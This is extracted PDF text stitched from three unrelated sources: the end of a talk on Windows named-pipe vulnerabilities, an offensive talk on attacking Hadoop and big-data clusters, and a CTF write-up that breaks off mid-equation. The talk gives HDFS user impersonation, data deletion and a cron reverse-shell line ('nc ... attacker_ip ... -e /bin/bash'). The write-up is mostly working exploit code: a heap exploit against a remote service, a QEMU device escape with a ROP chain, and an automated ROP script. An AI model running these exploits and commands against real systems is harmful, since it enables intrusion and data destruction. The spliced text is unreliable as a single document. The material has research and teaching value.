35
Exploitation And Impact
• Many pieces of software work with hidden and\or undocumented APIs
• The forgotten nature of named pipes leave an uncharted territory of
socket-like interfaces that can contain vulnerabilities
• Named pipes fall in between App PT and Infra PT.
o App pentesters usually connects to typical app ports, RPC and SMB
not included.
o When Infra pentesters encounter RPC\SMB they try to gain credentials,
not check for named pipes.
o EDR experts don’t take special notice to remote connections.
• If software reads data from the named pipe without validation,
the attacker might trigger Buffer Overflow leading to Denial of
Service of the software and even Remote Code Execution.
36
Exploitation And Impact
• If named pipe ACLs allow remote access, remote DoS or RCE can be
triggered
• Research of the cause behind the crash will allow the attacker to facilitate it as
a zero day vulnerability
• Could be used to spread a malware in an internal network, as recently seen in
the WannaCry ransomware and NotPetya malware campaigns
GAME OVER
37
Case study:
Viber,
qBittorrent,
SugarSync
38
Viber, qBittorrent & SugarSync case study
Viber
• Cellular & endpoint social communication
• Free calls, text and picture sharing with anyone
• Competitors of WhatsApp
• 800 million users worldwide
39
Viber, qBittorrent & SugarSync case study
qBittorrent
• a cross-platform client for the BitTorrent protocol
• Free and open-source, released under the GPLv2
• Written in C++
SugarSync
• A cloud service that enables active synchronization of files across
computers and other devices
• Used for file backup, access, syncing, and sharing
• Supports variety of operating systems, such as Android, iOS, Mac OS X,
and Windows devices
40
Exploitation And Impact
The applications use the widely used QT framework:
• A cross-platform application development framework for desktop, embedded
and mobile. Supports multiple platforms and operating systems
• The applications use the qtsingleapp functionality which is responsible for
writing temp files, probably to make sure the application runs a single instance.
• By fuzzing the named pipe both locally and remotely, we managed to
remotely crash the programs and in Qbitorrent, also
a execute a remote command injection attack
41
Demo
42
Mitigation
And Defense
43
Mitigation And Defense
Developers point of view
Know the risk!
• When creating a named pipe, set a secured ACL to allow only authorized
connections to the named pipes
• Follow the least privilege approach
o Giving a user account only those privileges which are essential to
perform its intended function
• If possible, limit the maximum number of instances of a named pipe, thus
effectively limiting the number of simultaneous connections
44
Mitigation And Defense
Users\3rd party software clients point of view
Know the risk!
• Block all unnecessary SMB and RPC services (ports 135 and 445),
especially over WAN/Internet
• Segment the network according to security best practices
• Always install the latest software security patches
45
Mitigation And Defense
Hackers’ point of view
Know the opportunity!
• Well… Hack
• Explore remotely accessible named pipes and test for RCE and DoS
whenever seeing open SMB or RPC ports
• Have fun!
46
Closing remarks
•
Windows named pipes are a forgotten, remotely accessible,
socket-like interface
•
A whole, newly rediscovered, potential world of local and remote
vulnerabilities – increased attack surface
•
Don’t ignore named pipes in Windows desktop applications
Stay safe
47
How can we
help?
Comsec Group, is a pioneering
market leader, providing all-inclusive Cyber
and Information Security services to clients
around the globe.
Our mission is to serve our clients as trusted
advisors, by securing their information and
operational assets, ensuring the achievement
of their business goals.
48
Partnership
Our success stems from strong
client partnerships based on
mutual trust. Our holistic, non-audit
approach provides integration with
client stakeholders on a technical
and business level.
Technical Depth
We adopt a hands-on, non-
automated approach to
engagements, led by experienced
consultants of the highest technical
level. Our unique edge stems from
the expertise gained by our
professionals during service in elite
cyber intelligence & defence units.
Speed & Agility
Provision of highly agile services
aligned to businesses goals. Our
skill versatility, responsiveness and.
geographical flexibility provides our
clients with a tailored services.
Business Focus
We help businesses to achieve
their
strategic goals and enable
business growth. Our industry
knowledge and business focus
enables us to tailor our services to
facilitate specific business
requirements.
What sets us apart
Innovation, Knowledge & Experience to Keep You Ahead of the Curve.
49
Core Services
Innovation, Knowledge & Experience to Keep You Ahead of the Curve.
Technical
Security
Services
SDLC
Strategy &
Developer
Training
Architecture
Design &
Review
Security
Code
Review
Infrastructure
&
Application
Testing
Mobile & IoT
Security
Testing
Penetration
Testing
Offensive
Security
Services
DDoS
Readiness &
Simulation
Online
Discovery &
Security
Intelligence
Incident
Response &
Crisis Mngmt
Red Team
Exercises
Executive
Cyber Drill
Employee
Awareness
Training &
Social
Engineering
Exercises
Governance
Risk &
Compliance
Risk
Management
PCI DSS
PA DSS
P2PE
Certification
CISO as a
Service
ISO 27001
ISO 27032
GDPR
HIPAA
Cloud
Readiness
Cyber
Readiness &
Strategy
50
twitter.com/Gilco83
www.linkedin.com/in/gilc83
[email protected]
www.comsecglobal.com
Thank you
Gil Cohen
Gr33tz & Th2nkz:
Aviad Golan @AviadGolan, linkedin.com/in/aviadgolan
Peter Savranskiy - [email protected]
Reuvein Vinokurov - [email protected]
Coral Benita - [email protected]
Meareg Hunegnaw - [email protected]
Roni Fenergi - [email protected]
Sharon Ohayon - [email protected]
Josh Grossman - [email protected]
Viber | pdf |
THE UNBELIEVABLE
INSECURITY OF THE
BIG DATA STACK
AN OFFENSIVE APPROACH TO ANALYZING
HUGE AND COMPLEX INFRASTRUCTURES
SHEILA A. BERTA (@UnaPibaGeek)
WHO AM I?
Head of Security Research at Dreamlab Technologies (Swiss Infosec Company)
SHEILA A. BERTA (@UnaPibaGeek)
●
Offensive Security Researcher - I like to break everything :)
●
Developer in ASM (Microcontrollers / x86/x64), C/C++, Python and Go
●
RE, Hardware Hacking & Exploit Development
●
DCA, CKA, CKAD (Cloud Native Specialist)
●
Speaker at BH USA Briefings (x4), DEF CON (x4), HITB, SCSD & more
LAYERS OF THE BIG DATA STACK
Data Storage
Data Ingestion
Data Processing
Data Access
Cluster Management
1
2
3
4
5
LAYERS OF THE BIG DATA STACK
Data Storage
Data Ingestion
Data Processing
Data Access
Cluster Management
1
2
3
4
5
EMR
BIG DATA ARCHITECTURES
FRONT-END
GO REST API
PRESTO
COORDINATOR
PRESTO
WORKERS
YARN
HDFS
THE ANALYSIS METHODOLOGY
CLUSTER MANAGEMENT
DATA STORAGE
DATA PROCESSING
DATA ACCESS
Analysis of the management layer’s
components. E.g.: Zookeeper, Ambari, etc.
Analysis of the data ingestion’s components.
E.g.: Flume, Kafka, Kinesis, Sqoop, etc.
Analysis of the data storage’s components.
E.g.: HDFS and HDFS-based storage, S3, etc.
Analysis of the data processing’s
components. E.g.: Spark, Storm, Flink, etc.
Analysis of the data access’ components.
E.g.: Impala, Presto, Druid, etc.
DATA INGESTION
MANAGEMENT LAYER
01
UNVEILING THE INSECURITY OF ZOOKEEPER AND AMBARI:
ATTACKING THE CLUSTER’S HEART
ZOOKEEPER ARCHITECTURE AND PORTS
NODE 1
NODE 2
NODE 3
NODE N
ZOOKEEPER
SERVICE
ZOOKEEPER
CLIENT
ATTACKING ZOOKEEPER
https://zookeeper.apache.org/releases.html#download
./zkCli.sh -server <node_ip>:2181
ATTACKING ZOOKEEPER
BROWSE ZNODES
CREATE ZNODES
EDIT ZNODES
DELETE ZNODES
ls and get commands
create ./znode_path new_config_data
set ./znode_path config_data_edit
delete ./znode_path
THE SECOND DOOR OF AMBARI
THE SECOND DOOR OF AMBARI
03
01
02
STORAGE LAYER
02
INSECURITY IN THE DATA STORAGE LAYER: ABUSING HADOOP RPC/IPC
HADOOP ARCHITECTURE
YARN
HDFS
RESOURCE MANAGER
NODE MANAGER
NAMENODE
DATANODE
MASTER NODE
MASTER NODE
SLAVE NODE
SLAVE NODE
SLAVE NODE
SLAVE NODE
NAMENODE
RESOURCE MANAGER
NAMENODE
RESOURCE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
HADOOP IPC/RPC
NAME NODE
DATA NODES
namenode-address; port: 8020
hadoop fs –ls /
hadoop fs –mkdir /hacked
hadoop fs –rm –r /data
core-site
xml
hdfs-site
xml
mapred-site
xml
yarn-site
xml
CRAFTING HADOOP XML FILES
<configuration xmlns:xi="http://www.w3.org/2001/XInclude">
<property>
<name>fs.defaultFS</name>
<value>hdfs://NAMESPACE</value>
<final>true</final>
</property>
</configuration>
core-site
xml
CRAFTING HADOOP XML FILES
hdfs-site
xml
<configuration xmlns:xi="http://www.w3.org/2001/XInclude">
<property>
<name>dfs.nameservices</name>
<value>NAMESPACE</value>
</property>
<property>
<name>dfs.ha.namenodes.NAMESPACE</name>
<value>NAMENODE1-ID,NAMENODE2-ID</value>
</property>
<property>
<name>dfs.namenode.rpc-address.NAMESPACE.NAMENODE1-ID</name>
<value>NAMENODE1-DNS:8020</value>
</property>
<property>
<name>dfs.client.failover.proxy.provider.NAMESPACE</name>
<value>org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider</value>
</property>
</configuration>
CRAFTING HADOOP XML FILES
hdfs-site
xml
CRAFTING HADOOP XML FILES
mapred-site
xml
<configuration xmlns:xi="http://www.w3.org/2001/XInclude">">
<property>
<name>mapreduce.jobhistory.address</name>
<value>NAMENODE-DNS:10020</value>
</property>
</configuration>
CRAFTING HADOOP XML FILES
yarn-site
xml
<configuration xmlns:xi="http://www.w3.org/2001/XInclude">
<property>
<name>yarn.resourcemanager.address</name>
<value>NAMENODE-DNS:8050</value>
</property>
<property>
<name>yarn.resourcemanager.hostname</name>
<value>NAMENODE-DNS</value>
</property>
</configuration>
REMOTELY COMPROMISING HADOOP VIA IPC/RPC
Dockerfile
REMOTELY COMPROMISING HADOOP VIA IPC/RPC
$ docker image build -t hadoop_lab .
$ docker container run -it --name hadoop-lab --net=host hadoop_lab /bin/bash
[root@docker]# mkdir config && cd config # Place the xml files in this directory
[root@docker]# cp /opt/hadoop-3.2.2/etc/hadoop/log4j.properties ./
[root@docker]# vi /etc/hosts
# Example:
192.168.162.110 c2100-hadoopmaster.c2100-hadoopmaster.localdomain
192.168.162.111 c2100-hadoopresman.c2100-hadoopresman.localdomain
REMOTELY COMPROMISING HADOOP VIA IPC/RPC
[root@docker]# hadoop –-config . fs –ls /
IMPERSONATING HADOOP USERS
[root@docker]# HADOOP_USER_NAME=hdfs hadoop –-config . fs –mkdir /hacked
PROCESSING LAYER
03
DEVELOPING A MALICIOUS YARN APPLICATION
HADOOP ARCHITECTURE
YARN
HDFS
RESOURCE MANAGER
NODE MANAGER
NAMENODE
DATANODE
MASTER NODE
MASTER NODE
SLAVE NODE
SLAVE NODE
SLAVE NODE
SLAVE NODE
NAMENODE
RESOURCE MANAGER
NAMENODE
RESOURCE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
HADOOP ARCHITECTURE
YARN
HDFS
RESOURCE MANAGER
NODE MANAGER
NAMENODE
DATANODE
MASTER NODE
MASTER NODE
SLAVE NODE
SLAVE NODE
SLAVE NODE
SLAVE NODE
NAMENODE
RESOURCE MANAGER
NAMENODE
RESOURCE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
DATANODE
NODE MANAGER
IMPROVING YARN-SITE XML FILE
yarn-site
xml
<configuration xmlns:xi="http://www.w3.org/2001/XInclude">
<property>
<name>yarn.application.classpath</name>
<value>$HADOOP_CONF_DIR, /usr/hdp/3.1.4.0-315/hadoop/*,
/usr/hdp/3.1.4.0-315/hadoop/lib/*,
/usr/hdp/current/hadoop-hdfs-client/*,
/usr/hdp/current/hadoop-hdfs-client/lib/*,
/usr/hdp/current/hadoop-yarn-client/*,
/usr/hdp/current/hadoop-yarn-client/lib/*
</value>
</property>
<!-- optional -->
<property>
<name>yarn.nodemanager.remote-app-log-dir</name>
<value>/app-logs</value>
</property>
</configuration>
http://NAMENODE-IP:50070/conf
http://RESMAN-IP:8088/conf
YARN APPLICATION
https://github.com/hortonworks/simple-yarn-app
COMPILING THE YARN APPLICATION
[root@docker]# git clone https://github.com/hortonworks/simple-yarn-app
[root@docker]# cd simple-yarn-app
[root@docker]# vi pom.xml
<dependency>
<groupId>org.apache.hadoop</groupId>
<artifactId>hadoop-yarn-client</artifactId>
<version>2.2.0</version>
</dependency>
<dependency>
<groupId>org.apache.hadoop</groupId>
<artifactId>hadoop-common</artifactId>
<version>2.2.0</version>
</dependency>
[root@docker]# mvn package
ACHIEVING RCE VIA YARN
[root@docker]# HADOOP_USER_NAME=hdfs hadoop --config . fs -copyFromLocal /path/to/simple-
yarn-app-1.1.0.jar /jars/
[root@docker]#
HADOOP_USER_NAME=hdfs
hadoop
--config
.
jar
/local/path/to/simple-yarn-
app-1.1.0.jar
com.hortonworks.simpleyarnapp.Client
<command>
<instances>
/jars/simple-
yarn-app-1.1.0.jar
ACHIEVING RCE VIA YARN
[root@docker]# HADOOP_USER_NAME=hdfs yarn --config . logs -applicationId <application_id>
-log_files stdout
MALICIOUS YARN APPLICATION
ApplicationMaster.java
Client.java
(crontab -l && echo "0 0 * * * nc -nv attacker_ip 1337 -e /bin/bash") | crontab -
WHAT ABOUT APACHE SPARK?
SPARK MASTER
WORKER NODES
spark-master-address; port: 7077
Spark Master IP
Attacker IP
Command
https://youtu.be/EAzdGo-i8vE
<- talk on
Spark hacking!
(by @ayoul3)
INGESTION LAYER
04
INTERFERING INGESTION CHANNELS
DATA INGESTION
SOURCES
INGESTION CHANNELS
SINK/STORAGE
SPARK [STRUCTURED] STREAMING
SPARK
STREAMING
SPARK
ENGINE
batches of data
processed data
SPARK [STRUCTURED] STREAMING
Spark Streaming TCP Socket example:
Attacker:
Target:
APACHE SQOOP
sqoop-server;
port 12000
INTERFERING SQOOP CHANNELS
http://sqoop-server:12000/sqoop/version
http://archive.apache.org/dist/sqoop/
INTERFERING SQOOP CHANNELS
01
02
03
04
CONNECT TO REMOTE SQOOP SERVER
CREATE MALICIOUS LINKS
CREATE MALICIOUS JOB
START MALICIOUS JOB
DATA ACCESS LAYER
05
ABUSING DATA ACCESS TECHNOLOGIES
DATA ACCESS
FRONT-END
GO REST API
PRESTO
COORDINATOR
PRESTO
WORKERS
YARN
HDFS
EXPOSED DASHBOARDS
http://hive-server:10002
http://hbase-master:17010
http://presto-coordinator:8285
HIVE JDBC INTERFACE
jdbc:hive2://hive-server-ip:10000
http://squirrel-sql.sourceforge.net/
> show databases;
> use prod;
> show tables;
CONCLUSION
FINAL THOUGHTS AND RECOMMENDATIONS
SECURITY RECOMMENDATIONS
04
05
06
IMPLEMENT
AUTHENTICATION
Most technologies support
advanced authentication
mechanisms.
MANAGE AUTHORIZATION
Apply the principle of least
privilege.
SECURE COMMUNICATIONS
Secure the communication channels
between the different technologies.
01
02
03
REDUCE THE ATTACK
SURFACE
Remove dashboards and
interfaces that are not used.
SET UP A FIREWALL
Block unnecessary ports and
secure the perimeter.
SECURE CREDENTIALS
Change all the default credentials
in the technologies implemented.
SHEILA A. BERTA (@UnaPibaGeek)
[email protected] / [email protected]
www.dreamlab.net
THANKS! | pdf |
XCTF WP
Author:Nu1L
XCTF WP
PWN
cpp
qemuzz
GAME
Reverse
divination
Web
mine1_1
mine2
pyer
webshell_1
hids
PWN
cpp
UAFlibcfree_hook
from pwn import *
# s = process("./chall")
s = remote("124.70.12.210","10002")
def add(idx,buf):
s.sendlineafter("> ",str(0))
s.sendafter("> ",buf)
s.sendlineafter("> ",str(idx))
def edit(idx):
s.sendlineafter("> ",str(1))
s.sendlineafter("> ",str(idx))
for i in range(0x40):
add(i,'\n')
context.terminal = ['notiterm', '-t', 'iterm', '-e']
edit(0)
qemuzz
s.send("\n")
edit(1)
s.recvuntil("> ")
heap = u64(s.recvline(keepends=False).ljust(8,'\x00'))-0x11eb0
success(hex(heap))
s.send(p64(heap+0x11f28)[:-2]+"\n")
add(0x40,'\n')
add(0x41,'\x01\x05\n')
edit(4)
libc = ELF("./libc-2.31.so")
libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1ebbe0
success(hex(libc.address))
s.send(p64(libc.address+0x1ebbe0)[:-2]+"\n")
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
# gdb.attach(s,"b *$rebase(0x13c6)\nc")
edit(0x11)
s.send("\n")
edit(0x10)
s.send(p64(free_hook)[:-2]+"\n")
add(0xa0,'sh\n')
add(0xa1,p64(system)[:-2]+"\n")
add(0xa2,p64(system)[:-2]+"\n")
edit(0xa0)
s.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <assert.h>
#define PRINT_ERROR \
do \
{ \
fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", \
__LINE__, __FILE__, errno, strerror(errno)); \
exit(1); \
} while (0)
int mmio_fd = -1;
uint8_t *mmio_base = NULL;
int mmio_size = 0x1000;
void die(char *msg)
{
puts(msg);
exit(1);
}
void init_mmio()
{
mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR |
O_SYNC);
if (mmio_fd < 0)
{
die("open mmio_fd");
}
mmio_base = (uint8_t *)mmap(0, mmio_size, PROT_READ | PROT_WRITE,
MAP_SHARED, mmio_fd, 0);
if (mmio_base == MAP_FAILED)
{
die("mmap mmio_base");
}
printf("mmio_base: %p\n", mmio_base);
}
uint8_t mmio_read(uint64_t addr)
{
uint8_t ans = 0;
ans = *(mmio_base + addr);
return ans;
}
void mmio_write(uint64_t addr, uint32_t val)
{
*(uint32_t *)(mmio_base + addr) = val;
}
uint64_t virt2phys(void *p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
assert((virt & 0xfff) == 0);
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
PRINT_ERROR;
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8) != 8)
PRINT_ERROR;
// Assert page present
assert(phys & (1ULL << 63));
phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
return phys;
}
uint64_t leak(uint64_t offset)
{
uint64_t ret = 0;
ret += mmio_read(offset);
ret += mmio_read(offset + 1) << 8;
ret += mmio_read(offset + 2) << 16;
ret += mmio_read(offset + 3) << 24;
ret += mmio_read(offset + 4) << 32;
ret += mmio_read(offset + 5) << 40;
ret += mmio_read(offset + 6) << 48;
ret += mmio_read(offset + 7) << 56;
return ret;
}
int main()
{
uint8_t *dma_addr = (uint8_t *)mmap(0, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
dma_addr[0] = 0;
uint64_t phys = virt2phys(dma_addr);
printf("phys = 0x%llx\n", phys);
init_mmio();
// leak lsb
mmio_write(0x10, 0xfff); // offset
mmio_write(0x18, 2 | 1); // count&1 1: mmio->hwaddr 0: hwaddr->mmio
mmio_write(0x20, phys >> 12); // dmaddr
mmio_write(0x60, 0); // dma
uint8_t lsb = dma_addr[1];
// set buffer
mmio_write(0x10, 0x10); // offset
mmio_write(0x18, 0x18+0x10 | 0); // count&1 1: mmio->hwaddr 0:
hwaddr->mmio
mmio_write(0x20, phys >> 12); // dmaddr
*(uint64_t *)(dma_addr) = phys; // dmaaddr
*(uint16_t *)(dma_addr + 8) = 16 | 1; // count
*(uint16_t *)(dma_addr + 8 + 2) = 0xfe0; // offset
mmio_write(0x60, 0); // dma
// off by one
mmio_write(0x10, 0xfff); // offset
mmio_write(0x18, 2 | 0); // count&1 1: mmio->hwaddr 0: hwaddr->mmio
mmio_write(0x20, phys >> 12); // dmaddr
dma_addr[1] = lsb + 0x20;
mmio_write(0x60, 0); // dma
// leak
mmio_write(0x60, 0); // dma
// self 0x20
uint64_t self = *(uint64_t *)dma_addr;
uint64_t cpu_physical_memory_rw = *(uint64_t *)(dma_addr + 8);
printf("0x%llx 0x%llx\n", self, cpu_physical_memory_rw);
uint64_t base = cpu_physical_memory_rw - 0x5BC5C0;
// xor
mmio_write(0x10, 0x18); // offset
mmio_write(0x18, 0x1c*2); // count
mmio_write(0x50, 0);
// rop
*(uint64_t *)(dma_addr+0x8-1) = 0;
*(uint64_t *)(dma_addr+0x10-1) = 0xaabbccdd;
*(uint64_t *)(dma_addr + 0x10-1 + 0xf) = base + 0x2cb3e0; // p3; ret
// *(uint64_t *)(dma_addr+0x18-1) = 0xaabbccdd;
// *(uint64_t *)(dma_addr+0x20-1) = 0xaabbccdd;
*(uint64_t *)(dma_addr+0x28-1) = base + 0x2ad4a5; // pop rdi; ret;
GAME
AEGangrpwn
*(uint64_t *)(dma_addr+0x30-1) = self + 0x1818; // cmd
*(uint64_t *)(dma_addr+0x38-1) = base + 0x2A7A80; // system
strcpy(dma_addr+0x40-1, "ls -al;cat /flag"); // cmd
//*(uint64_t *)(dma_addr+0x1f8-1) = self; // self
// self
*(uint64_t *)(dma_addr+0x1f8-1) = self + 0xdf8; // self
*(uint64_t *)(dma_addr+0x200-1) = base + 0x321956; // push rsi; pop rsp;
jmp qword ptr [rsi+0Fh]
mmio_write(0x60, 0); // dma
// system
mmio_write(0x60, 0);
return 0;
}
from pwn import *
import base64
import os
import angr
import re
import _thread as thr
import time
# import fuckpy3
import claripy
usleep = lambda x: time.sleep(x/1000000.0)
p = None
start_addr = None
find_addr = None
find_res = None
context.log_level = 'debug'
context.arch = 'amd64'
def find_csu(asms):
r = '([0-9,a-f]+).+pop rbx'
return re.findall(r,asms)[0]
def find_csu_call(asms):
r = '([0-9,a-f]+).+mov rdx,r13'
return re.findall(r,asms)[0]
def find_atoi(asms):
r = '([0-9,a-f]+).+call.+atoi'
return re.findall(r,asms)[0]
def find_read(asms):
r = '([0-9,a-f]+).+call.+read'
return re.findall(r,asms)[0]
def stack_deep(asms):
r = 'lea rax,\[rbp-([0-9,x,a-f]+)\]\n.+edx,([0-9,a-
z,x]+)\n.+\n.+\n.+read'
return re.findall(r,asms)[0]
def load_prog():
global p,start_addr,find_addr,find_res
p = angr.Project('./out')
print('prog loaded')
while start_addr is None or find_addr is None:
usleep(1)
state = p.factory.blank_state(addr = start_addr)
input_val = claripy.BVS('input',32)
state.registers.store('eax',input_val)
sim = p.factory.simulation_manager(state)
sim.one_active.options.add(angr.options.LAZY_SOLVES)
print(hex(find_addr),hex(start_addr+7),hex(start_addr))
f = sim.explore(find=find_addr,avoid=start_addr+7)
findo = f.found[0]
res = findo.solver.eval(input_val)
find_res = res
def build_csu(csu_gadget,csu_call,call_addr,arg1,arg2,arg3):
res = p64(csu_gadget) + p64(0) + p64(1) + p64(call_addr) + p64(arg3) +
p64(arg2) + p64(arg1)
res += p64(csu_call) # + p64(0) * 7
return res
rr = remote('121.36.21.113', 10004)
rr.recvuntil('info------------------\n')
data = rr.recvuntil('\nHi,',drop = True).strip()
f = open('out','wb')
f.write(base64.b64decode(data))
f.close()
def test_time(t):
res = time.time()
print('cost ' + str(res - t))
return res
t = time.time()
thr.start_new_thread(load_prog,())
asms = os.popen('objdump -M intel -d ./out','r').read()
csu_gadget = int(find_csu(asms),16)
csu_call = int(find_csu_call(asms),16)
call_atoi_addr = int(find_atoi(asms),16)
start_addr = call_atoi_addr + 5
find_addr = int(find_read(asms),16)
read_para = stack_deep(asms)
print(read_para)
stack_deep = int(read_para[0],16)
read_num = int(read_para[1],16)
elf = ELF('./out')
print(stack_deep,read_num)
while find_res is None:
usleep(1)
print(find_res)
t = test_time(t)
rr.recvuntil('code:')
rr.sendline(str(find_res))
# rr = process(['./out',str(find_res)])
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(rr)[0])
payload = b'a' * (stack_deep+8)
payload += build_csu(csu_gadget,csu_call,elf.got['read'],0,elf.got['alarm'],1)
# padding
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(59) +
p64(elf.got['exit']) + p64(0)
payload += p64(csu_call)
payload += p64(0)*2 + p64(1) + p64(elf.got['alarm']) + p64(0) + p64(0) +
p64(elf.got['exit'])
payload += p64(csu_call)
payload = payload.ljust(read_num,b'a') + p8(0x85) +
b'/bin/sh\x00'.ljust(59,b'a')
# payload = payload.ljust(read_num,b'a') + p8(0x46) +
b'/bin/sh\x00'.ljust(59,b'a')
# launch_gdb()
# raw_input()
rr.send(payload)
rr.interactive()
Reverse
divination
def ror(v, n):
return v[n:] + v[:n]
def rol(v, n):
return v[-n:] + v[:-n]
n = [f'b{i}' for i in range(256)]
def get_primes():
return [13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73,
79, 83, 89, 97, 101, 103, 107, 109, 113, 127]
def xor(a,b):
r = []
for i in range(256):
r.append(a[i] + '+' + b[i])
return r
nums = get_primes()
A = n
for i in range(len(nums)):
if i % 2 == 0:
A = xor(ror(n,nums[i]), A)
else:
A = xor(rol(n,nums[i]), A)
#print(A)
final_dst = [0x5a, 0x4e, 0xd7, 0x16, 0xd8, 0x3d, 0x4, 0x7a, 0x30, 0xcf, 0xf,
0xc6, 0x56, 0x5a, 0x64, 0x88, 0x19, 0x1b, 0x70, 0xbf, 0x7d, 0xd4, 0x48, 0x25,
0xde, 0xd0, 0xac, 0xf1, 0x26, 0x45, 0x76, 0xe7]
final_dst_num = 0
for i in range(32):
final_dst_num |= final_dst[i] << (8*i)
final = []
for i in range(256):
final.append( (final_dst_num>>(255-i)) & 1)
Output:
for i in range(256):
A[i]+=f"=={final[i]}"
#print(A)
vars = ','.join(n)
equ = 'Solve[{' + ','.join(A) + '},{' + vars + '}, Modulus->2]'
print(equ)
Solve[{b129+b113+b147+b107+b153+b101+b159+b89+b173+b79+b183+b71+b189+b61+b197+
b53+b209+b43+b215+b37+b225+b29+b233+b19+b239+b13+b0==1,b130+b114+b148+b108+b15
4+b102+b160+b90+b174+b80+b184+b72+b190+b62+b198+b54+b210+b44+b216+b38+b226+b30
+b234+b20+b240+b14+b1==1,b131+b115+b149+b109+b155+b103+b161+b91+b175+b81+b185+
b73+b191+b63+b199+b55+b211+b45+b217+b39+b227+b31+b235+b21+b241+b15+b2==1,b132+
b116+b150+b110+b156+b104+b162+b92+b176+b82+b186+b74+b192+b64+b200+b56+b212+b46
+b218+b40+b228+b32+b236+b22+b242+b16+b3==0,b133+b117+b151+b111+b157+b105+b163+
b93+b177+b83+b187+b75+b193+b65+b201+b57+b213+b47+b219+b41+b229+b33+b237+b23+b2
43+b17+b4==0,b134+b118+b152+b112+b158+b106+b164+b94+b178+b84+b188+b76+b194+b66
+b202+b58+b214+b48+b220+b42+b230+b34+b238+b24+b244+b18+b5==1,b135+b119+b153+b1
13+b159+b107+b165+b95+b179+b85+b189+b77+b195+b67+b203+b59+b215+b49+b221+b43+b2
31+b35+b239+b25+b245+b19+b6==1,b136+b120+b154+b114+b160+b108+b166+b96+b180+b86
+b190+b78+b196+b68+b204+b60+b216+b50+b222+b44+b232+b36+b240+b26+b246+b20+b7==1
,b137+b121+b155+b115+b161+b109+b167+b97+b181+b87+b191+b79+b197+b69+b205+b61+b2
17+b51+b223+b45+b233+b37+b241+b27+b247+b21+b8==0,b138+b122+b156+b116+b162+b110
+b168+b98+b182+b88+b192+b80+b198+b70+b206+b62+b218+b52+b224+b46+b234+b38+b242+
b28+b248+b22+b9==1,b139+b123+b157+b117+b163+b111+b169+b99+b183+b89+b193+b81+b1
99+b71+b207+b63+b219+b53+b225+b47+b235+b39+b243+b29+b249+b23+b10==1,b140+b124+
b158+b118+b164+b112+b170+b100+b184+b90+b194+b82+b200+b72+b208+b64+b220+b54+b22
6+b48+b236+b40+b244+b30+b250+b24+b11==1,b141+b125+b159+b119+b165+b113+b171+b10
1+b185+b91+b195+b83+b201+b73+b209+b65+b221+b55+b227+b49+b237+b41+b245+b31+b251
+b25+b12==0,b142+b126+b160+b120+b166+b114+b172+b102+b186+b92+b196+b84+b202+b74
+b210+b66+b222+b56+b228+b50+b238+b42+b246+b32+b252+b26+b13==1,b143+b127+b161+b
121+b167+b115+b173+b103+b187+b93+b197+b85+b203+b75+b211+b67+b223+b57+b229+b51+
b239+b43+b247+b33+b253+b27+b14==1,b144+b128+b162+b122+b168+b116+b174+b104+b188
+b94+b198+b86+b204+b76+b212+b68+b224+b58+b230+b52+b240+b44+b248+b34+b254+b28+b
15==0,b145+b129+b163+b123+b169+b117+b175+b105+b189+b95+b199+b87+b205+b77+b213+
b69+b225+b59+b231+b53+b241+b45+b249+b35+b255+b29+b16==0,b146+b130+b164+b124+b1
70+b118+b176+b106+b190+b96+b200+b88+b206+b78+b214+b70+b226+b60+b232+b54+b242+b
46+b250+b36+b0+b30+b17==1,b147+b131+b165+b125+b171+b119+b177+b107+b191+b97+b20
1+b89+b207+b79+b215+b71+b227+b61+b233+b55+b243+b47+b251+b37+b1+b31+b18==0,b148
+b132+b166+b126+b172+b120+b178+b108+b192+b98+b202+b90+b208+b80+b216+b72+b228+b
62+b234+b56+b244+b48+b252+b38+b2+b32+b19==0,b149+b133+b167+b127+b173+b121+b179
+b109+b193+b99+b203+b91+b209+b81+b217+b73+b229+b63+b235+b57+b245+b49+b253+b39+
b3+b33+b20==0,b150+b134+b168+b128+b174+b122+b180+b110+b194+b100+b204+b92+b210+
b82+b218+b74+b230+b64+b236+b58+b246+b50+b254+b40+b4+b34+b21==1,b151+b135+b169+
b129+b175+b123+b181+b111+b195+b101+b205+b93+b211+b83+b219+b75+b231+b65+b237+b5
9+b247+b51+b255+b41+b5+b35+b22==0,b152+b136+b170+b130+b176+b124+b182+b112+b196
+b102+b206+b94+b212+b84+b220+b76+b232+b66+b238+b60+b248+b52+b0+b42+b6+b36+b23=
=1,b153+b137+b171+b131+b177+b125+b183+b113+b197+b103+b207+b95+b213+b85+b221+b7
7+b233+b67+b239+b61+b249+b53+b1+b43+b7+b37+b24==0,b154+b138+b172+b132+b178+b12
6+b184+b114+b198+b104+b208+b96+b214+b86+b222+b78+b234+b68+b240+b62+b250+b54+b2
+b44+b8+b38+b25==0,b155+b139+b173+b133+b179+b127+b185+b115+b199+b105+b209+b97+
b215+b87+b223+b79+b235+b69+b241+b63+b251+b55+b3+b45+b9+b39+b26==1,b156+b140+b1
74+b134+b180+b128+b186+b116+b200+b106+b210+b98+b216+b88+b224+b80+b236+b70+b242
